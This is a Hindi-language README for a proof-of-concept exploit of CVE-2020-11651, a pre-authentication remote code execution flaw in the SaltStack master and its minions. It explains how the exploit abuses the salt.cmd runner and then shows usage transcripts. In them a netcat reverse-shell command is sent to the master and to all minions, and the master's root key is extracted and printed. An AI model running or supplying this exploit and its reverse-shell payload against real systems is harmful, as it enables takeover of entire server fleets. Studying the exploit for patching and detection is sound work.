
CVE-2020-11651 का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो salt.cmd रनर के माध्यम से SaltStack मास्टर और मिनियंस पर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।
यह CVE-2020-11651 के लिए एक POC है, जो salt stack मास्टर और/या उससे जुड़े सभी मिनियन पर pre-auth RCE प्राप्त करता है। इस मुद्दे पर कुछ हल्की जानकारी यहाँ उपलब्ध है। 2020-11652 के लिए POC शामिल नहीं है।
यह salt.cmd के रनर को cmd.exec_code फ़ंक्शन के साथ बनाकर मास्टर पर कमांड निष्पादन प्राप्त करता है। इसमें कोई इंटरैक्टिविटी लागू नहीं की गई है, आपको रिवर्स शेल प्राप्त करने के लिए ncat का उपयोग करना होगा।
Debian10 इंस्टेंस के विरुद्ध Debian10 पर परीक्षण किया गया। शेल प्राप्त करने और भेजने के लिए ncat तथा परिवहन के लिए pip3 install salt लाइब्रेरी की आवश्यकता है।
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Got response for attempting master shell: {'tag': 'salt/run/20200504080050593352', 'jid': '20200504080050593352'}. Looks promising!
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Sending command to all minions on master
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 fetchkeyonly
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
user@debian10:~$
